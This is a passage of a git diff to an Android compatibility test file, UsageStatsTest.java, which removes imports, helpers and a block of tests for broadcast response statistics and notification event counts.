+ private void wakeUpAndDismissKeyguard() throws Exception {
+ mUiDevice.wakeUp();
+ SystemUtil.runShellCommand("wm dismiss-keyguard");
+ }
+
+ private Intent createTestActivityIntent(String pkgName, String className) {
+ final Intent intent = new Intent();
+ intent.setClassName(pkgName, className);
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ return intent;
+ }
+}
diff --git a/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java b/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
index 7497bb7..3cba63c 100644
--- a/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
+++ b/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
@@ -16,20 +16,17 @@
package android.app.usage.cts;
-import static android.Manifest.permission.ACCESS_BROADCAST_RESPONSE_STATS;
import static android.Manifest.permission.POST_NOTIFICATIONS;
import static android.Manifest.permission.REVOKE_POST_NOTIFICATIONS_WITHOUT_KILL;
import static android.Manifest.permission.REVOKE_RUNTIME_PERMISSIONS;
import static android.app.usage.UsageStatsManager.STANDBY_BUCKET_FREQUENT;
import static android.app.usage.UsageStatsManager.STANDBY_BUCKET_RARE;
-import static android.content.Intent.EXTRA_REMOTE_CALLBACK;
import static android.provider.DeviceConfig.NAMESPACE_APP_STANDBY;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertNotEquals;
import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertThrows;
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
import static org.junit.Assume.assumeFalse;
@@ -39,14 +36,11 @@
import android.app.Activity;
import android.app.ActivityManager;
import android.app.AppOpsManager;
-import android.app.BroadcastOptions;
import android.app.KeyguardManager;
import android.app.Notification;
import android.app.NotificationChannel;
import android.app.NotificationManager;
import android.app.PendingIntent;
-import android.app.UiAutomation;
-import android.app.usage.BroadcastResponseStats;
import android.app.usage.EventStats;
import android.app.usage.UsageEvents;
import android.app.usage.UsageEvents.Event;
@@ -60,14 +54,10 @@
import android.content.ServiceConnection;
import android.content.pm.PackageManager;
import android.database.Cursor;
-import android.graphics.drawable.Icon;
-import android.media.session.MediaSession;
import android.net.Uri;
-import android.os.Bundle;
import android.os.IBinder;
import android.os.Parcel;
import android.os.Process;
-import android.os.RemoteCallback;
import android.os.SystemClock;
import android.os.UserHandle;
import android.os.UserManager;
@@ -108,7 +98,6 @@
import java.time.Duration;
import java.util.ArrayList;
import java.util.Arrays;
-import java.util.Comparator;
import java.util.List;
import java.util.Map;
import java.util.Objects;
@@ -150,14 +139,14 @@
private static final String JOBSCHEDULER_RUN_SHELL_COMMAND = "cmd jobscheduler run";
- private static final String TEST_APP_PKG = "android.app.usage.cts.test1";
+ static final String TEST_APP_PKG = "android.app.usage.cts.test1";
- private static final String TEST_APP_CLASS = "android.app.usage.cts.test1.SomeActivity";
+ static final String TEST_APP_CLASS = "android.app.usage.cts.test1.SomeActivity";
private static final String TEST_APP_CLASS_LOCUS
= "android.app.usage.cts.test1.SomeActivityWithLocus";
- private static final String TEST_APP_CLASS_SERVICE
+ static final String TEST_APP_CLASS_SERVICE
= "android.app.usage.cts.test1.TestService";
- private static final String TEST_APP_CLASS_BROADCAST_RECEIVER
+ static final String TEST_APP_CLASS_BROADCAST_RECEIVER
= "android.app.usage.cts.test1.TestBroadcastReceiver";
private static final String TEST_AUTHORITY = "android.app.usage.cts.test1.provider";
private static final String TEST_APP_CONTENT_URI_STRING = "content://" + TEST_AUTHORITY;
@@ -177,16 +166,8 @@
"notification_seen_duration";
private static final String KEY_NOTIFICATION_SEEN_PROMOTED_BUCKET =
"notification_seen_promoted_bucket";
- private static final String KEY_BROADCAST_RESPONSE_WINDOW_DURATION_MS =
- "broadcast_response_window_timeout_ms";
- private static final String KEY_BROADCAST_RESPONSE_FG_THRESHOLD_STATE =
- "broadcast_response_fg_threshold_state";
private static final int DEFAULT_TIMEOUT_MS = 10_000;
- // For tests that are verifying a certain event doesn't occur, wait for some time
- // to ensure the event doesn't really occur. Otherwise, we cannot be sure if the event didn't
- // occur or the verification was done too early before the event occurred.
- private static final int WAIT_TIME_FOR_NEGATIVE_TESTS_MS = 500;
private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(5);
private static final long MINUTE = TimeUnit.MINUTES.toMillis(1);
@@ -199,9 +180,6 @@
private static final long TIMEOUT_BINDER_SERVICE_SEC = 2;
- private static final long TEST_RESPONSE_STATS_ID_1 = 11;
- private static final long TEST_RESPONSE_STATS_ID_2 = 22;
-
private static final String TEST_NOTIFICATION_CHANNEL_ID = "test-channel-id";
private static final String TEST_NOTIFICATION_CHANNEL_NAME = "test-channel-name";
private static final String TEST_NOTIFICATION_CHANNEL_DESC = "test-channel-description";
@@ -336,21 +314,6 @@
mUiDevice.wait(Until.hasObject(By.clazz(pkgName, className)), TIMEOUT);
}
- private void launchTestActivityAndWaitToBeResumed(String pkgName, String className)
- throws Exception {
- // Make sure the screen is awake and unlocked. Otherwise, the app activity won't be resumed.
- mUiDevice.wakeUp();
- dismissKeyguard();
-
- final Intent intent = createTestActivityIntent(pkgName, className);
- final CountDownLatch latch = new CountDownLatch(1);
- intent.putExtra(EXTRA_REMOTE_CALLBACK, new RemoteCallback(result -> latch.countDown()));
- mContext.startActivity(intent);
- if (!latch.await(DEFAULT_TIMEOUT_MS, TimeUnit.SECONDS)) {
- fail("Timed out waiting for the test app activity to be resumed");
- }
- }
-
private void launchSubActivities(Class<? extends Activity>[] activityClasses) {
for (Class<? extends Activity> clazz : activityClasses) {
launchSubActivity(clazz);
@@ -964,1446 +927,6 @@
}
}
- @AppModeFull(reason = "No broadcast message response stats in instant apps")
- @Test
- public void testBroadcastOptions_noPermission() throws Exception {
- final BroadcastOptions options = BroadcastOptions.makeBasic();
- options.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_1);
- final Intent intent = new Intent().setComponent(new ComponentName(
- TEST_APP_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
- sendBroadcastAndWaitForReceipt(intent, options.toBundle());
-
- final UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation()
- .getUiAutomation();
- uiAutomation.revokeRuntimePermission(mTargetPackage, ACCESS_BROADCAST_RESPONSE_STATS);
- setAppOpsMode("ignore");
- try {
- assertThrows(SecurityException.class, () -> {
- sendBroadcastAndWaitForReceipt(intent, options.toBundle());
- });
- } finally {
- resetAppOpsMode();
- uiAutomation.grantRuntimePermission(mTargetPackage, ACCESS_BROADCAST_RESPONSE_STATS);
- }
- }
-
- @AppModeFull(reason = "No broadcast message response stats in instant apps")
- @Test
- public void testQueryBroadcastResponseStats_noPermission() throws Exception {
- mUsageStatsManager.queryBroadcastResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1);
-
- final UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation()
- .getUiAutomation();
- uiAutomation.revokeRuntimePermission(mTargetPackage, ACCESS_BROADCAST_RESPONSE_STATS);
- setAppOpsMode("ignore");
- try {
- assertThrows(SecurityException.class, () -> {
- mUsageStatsManager.queryBroadcastResponseStats(TEST_APP_PKG,
- TEST_RESPONSE_STATS_ID_1);
- });
- } finally {
- resetAppOpsMode();
- uiAutomation.grantRuntimePermission(mTargetPackage, ACCESS_BROADCAST_RESPONSE_STATS);
- }
- }
-
- @AppModeFull(reason = "No broadcast message response stats in instant apps")
- @Test
- public void testClearBroadcastResponseStats_noPermission() throws Exception {
- mUsageStatsManager.clearBroadcastResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1);
-
- final UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation()
- .getUiAutomation();
- uiAutomation.revokeRuntimePermission(mTargetPackage, ACCESS_BROADCAST_RESPONSE_STATS);
- setAppOpsMode("ignore");
- try {
- assertThrows(SecurityException.class, () -> {
- mUsageStatsManager.clearBroadcastResponseStats(TEST_APP_PKG,
- TEST_RESPONSE_STATS_ID_1);
- });
- } finally {
- resetAppOpsMode();
- uiAutomation.grantRuntimePermission(mTargetPackage, ACCESS_BROADCAST_RESPONSE_STATS);
- }
- }
-
- @AppModeFull(reason = "No broadcast message response stats in instant apps")
- @Test
- public void testBroadcastResponseStats_broadcastDispatchedCount() throws Exception {
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
- 0 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
- 0 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
-
- final TestServiceConnection connection = bindToTestServiceAndGetConnection();
- try {
- ITestReceiver testReceiver = connection.getITestReceiver();
- testReceiver.cancelAll();
-
- // Send a normal broadcast and verify none of the counts get incremented.
- final Intent intent = new Intent().setComponent(new ComponentName(
- TEST_APP_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
- sendBroadcastAndWaitForReceipt(intent, null);
-
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
- 0 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
- 0 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
-
- // Send a broadcast with a request to record response and verify broadcast-sent
- // count gets incremented.
- final BroadcastOptions options = BroadcastOptions.makeBasic();
- options.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_1);
- sendBroadcastAndWaitForReceipt(intent, options.toBundle());
-
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
- 1 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
- 0 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
-
- // Trigger a notification from test app and verify notification-posted count gets
- // incremented.
- testReceiver.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
- TEST_NOTIFICATION_CHANNEL_NAME,
- TEST_NOTIFICATION_CHANNEL_DESC);
- testReceiver.postNotification(TEST_NOTIFICATION_ID_1,
- buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
- TEST_NOTIFICATION_TEXT_1));
-
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
- 1 /* broadcastCount */,
- 1 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
- 0 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
-
- testReceiver.cancelAll();
- } finally {
- connection.unbind();
- }
- }
-
- @AppModeFull(reason = "No broadcast message response stats in instant apps")
- @Test
- public void testBroadcastResponseStats_notificationPostedCount() throws Exception {
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
- 0 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
- 0 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
-
- final TestServiceConnection connection = bindToTestServiceAndGetConnection();
- try {
- ITestReceiver testReceiver = connection.getITestReceiver();
- testReceiver.cancelAll();
-
- // Send a normal broadcast and verify none of the counts get incremented.
- final Intent intent = new Intent().setComponent(new ComponentName(
- TEST_APP_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
- sendBroadcastAndWaitForReceipt(intent, null);
-
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
- 0 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
- 0 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
-
- // Send a broadcast with a request to record response and verify broadcast-sent
- // count gets incremented.
- final BroadcastOptions options = BroadcastOptions.makeBasic();
- options.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_1);
- sendBroadcastAndWaitForReceipt(intent, options.toBundle());
-
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
- 1 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
- 0 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
-
- // Trigger a notification from test app and verify notification-posted count gets
- // incremented.
- testReceiver.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
- TEST_NOTIFICATION_CHANNEL_NAME,
- TEST_NOTIFICATION_CHANNEL_DESC);
- testReceiver.postNotification(TEST_NOTIFICATION_ID_1,
- buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
- TEST_NOTIFICATION_TEXT_1));
-
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
- 1 /* broadcastCount */,
- 1 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
- 0 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
-
- mUsageStatsManager.clearBroadcastResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1);
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
- 0 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
- 0 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
-
- testReceiver.cancelAll();
- } finally {
- connection.unbind();
- }
- }
-
- @AppModeFull(reason = "No broadcast message response stats in instant apps")
- @Test
- public void testBroadcastResponseStats_notificationUpdatedCount() throws Exception {
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
- 0 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
- 0 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
-
- final TestServiceConnection connection = bindToTestServiceAndGetConnection();
- try {
- ITestReceiver testReceiver = connection.getITestReceiver();
- testReceiver.cancelAll();
-
- // Post a notification (before sending any broadcast) and verify none of the counts
- // get incremented.
- testReceiver.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
- TEST_NOTIFICATION_CHANNEL_NAME,
- TEST_NOTIFICATION_CHANNEL_DESC);
- testReceiver.postNotification(TEST_NOTIFICATION_ID_1,
- buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
- TEST_NOTIFICATION_TEXT_1));
-
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
- 0 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
- 0 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
-
- // Send a broadcast with a request to record response and verify broadcast-sent
- // count gets incremented.
- final Intent intent = new Intent().setComponent(new ComponentName(
- TEST_APP_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
- final BroadcastOptions options = BroadcastOptions.makeBasic();
- options.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_1);
- sendBroadcastAndWaitForReceipt(intent, options.toBundle());
-
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
- 1 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
- 0 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
-
- // Update a previously posted notification (change content text) and verify
- // notification-updated count gets incremented.
- testReceiver.postNotification(TEST_NOTIFICATION_ID_1,
- buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
- TEST_NOTIFICATION_TEXT_2));
-
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
- 1 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 1 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
- 0 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
-
- mUsageStatsManager.clearBroadcastResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1);
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
- 0 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
- 0 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
-
- testReceiver.cancelAll();
- } finally {
- connection.unbind();
- }
- }
-
- @AppModeFull(reason = "No broadcast message response stats in instant apps")
- @Test
- public void testBroadcastResponseStats_notificationCancelledCount() throws Exception {
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
- 0 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
- 0 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
-
- final TestServiceConnection connection = bindToTestServiceAndGetConnection();
- try {
- ITestReceiver testReceiver = connection.getITestReceiver();
- testReceiver.cancelAll();
-
- // Post a notification (before sending any broadcast) and verify none of the counts
- // get incremented.
- testReceiver.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
- TEST_NOTIFICATION_CHANNEL_NAME,
- TEST_NOTIFICATION_CHANNEL_DESC);
- testReceiver.postNotification(TEST_NOTIFICATION_ID_1,
- buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
- TEST_NOTIFICATION_TEXT_1));
-
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
- 0 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
- 0 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
-
- // Send a broadcast with a request to record response and verify broadcast-sent
- // count gets incremented.
- final Intent intent = new Intent().setComponent(new ComponentName(
- TEST_APP_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
- sendBroadcastAndWaitForReceipt(intent, null);
- final BroadcastOptions options = BroadcastOptions.makeBasic();
- options.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_1);
- sendBroadcastAndWaitForReceipt(intent, options.toBundle());
-
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
- 1 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
- 0 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
-
- // Cancel a previously posted notification (change content text) and verify
- // notification-cancelled count gets incremented.
- testReceiver.cancelNotification(TEST_NOTIFICATION_ID_1);
-
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
- 1 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 1 /* notificationCancelledCount */);
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
- 0 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
-
- mUsageStatsManager.clearBroadcastResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1);
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
- 0 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
- 0 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
-
- testReceiver.cancelAll();
- } finally {
- connection.unbind();
- }
- }
-
- @AppModeFull(reason = "No broadcast message response stats in instant apps")
- @Test
- public void testBroadcastResponseStats_multipleEvents() throws Exception {
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
- 0 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
- 0 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
-
- final TestServiceConnection connection = bindToTestServiceAndGetConnection();
- try {
- ITestReceiver testReceiver = connection.getITestReceiver();
- testReceiver.cancelAll();
-
- // Send a normal broadcast and verify none of the counts get incremented.
- final Intent intent = new Intent().setComponent(new ComponentName(
- TEST_APP_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
- sendBroadcastAndWaitForReceipt(intent, null);
-
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
- 0 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
- 0 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
-
- // Send a broadcast with a request to record response and verify broadcast-sent
- // count gets incremented.
- final BroadcastOptions options = BroadcastOptions.makeBasic();
- options.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_1);
- sendBroadcastAndWaitForReceipt(intent, options.toBundle());
-
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
- 1 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
- 0 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
-
- // Trigger a notification from test app and verify notification-posted count gets
- // incremented.
- testReceiver.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
- TEST_NOTIFICATION_CHANNEL_NAME,
- TEST_NOTIFICATION_CHANNEL_DESC);
- testReceiver.postNotification(TEST_NOTIFICATION_ID_1,
- buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
- TEST_NOTIFICATION_TEXT_1));
-
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
- 1 /* broadcastCount */,
- 1 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
- 0 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
-
- // Send another broadcast and trigger another notification.
- sendBroadcastAndWaitForReceipt(intent, options.toBundle());
- testReceiver.postNotification(TEST_NOTIFICATION_ID_2,
- buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_2,
- TEST_NOTIFICATION_TEXT_2));
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
- 2 /* broadcastCount */,
- 2 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
- 0 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
-
- // Send another broadcast with a different ID and update a previously posted
- // notification.
- options.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_2);
- sendBroadcastAndWaitForReceipt(intent, options.toBundle());
- testReceiver.postNotification(TEST_NOTIFICATION_ID_1,
- buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
- TEST_NOTIFICATION_TEXT_2));
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
- 2 /* broadcastCount */,
- 2 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
- 1 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 1 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
-
- // Update/cancel a previously posted notifications and verify there is
- // no change in counts.
- testReceiver.postNotification(TEST_NOTIFICATION_ID_1,
- buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
- TEST_NOTIFICATION_TEXT_1));
- testReceiver.cancelNotification(TEST_NOTIFICATION_ID_2);
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
- 2 /* broadcastCount */,
- 2 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
- 1 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 1 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
-
- mUsageStatsManager.clearBroadcastResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1);
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
- 0 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
- 1 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 1 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
-
- mUsageStatsManager.clearBroadcastResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2);
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
- 0 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
- 0 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
-
- testReceiver.cancelAll();
- } finally {
- connection.unbind();
- }
- }
-
- @AppModeFull(reason = "No broadcast message response stats in instant apps")
- @Test
- public void testBroadcastResponseStats_clearCounts() throws Exception {
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
- 0 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
- 0 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
-
- final TestServiceConnection connection = bindToTestServiceAndGetConnection();
- try {
- ITestReceiver testReceiver = connection.getITestReceiver();
- testReceiver.cancelAll();
-
- // Send a broadcast with a request to record response and verify broadcast-sent
- // count gets incremented.
- final Intent intent = new Intent().setComponent(new ComponentName(
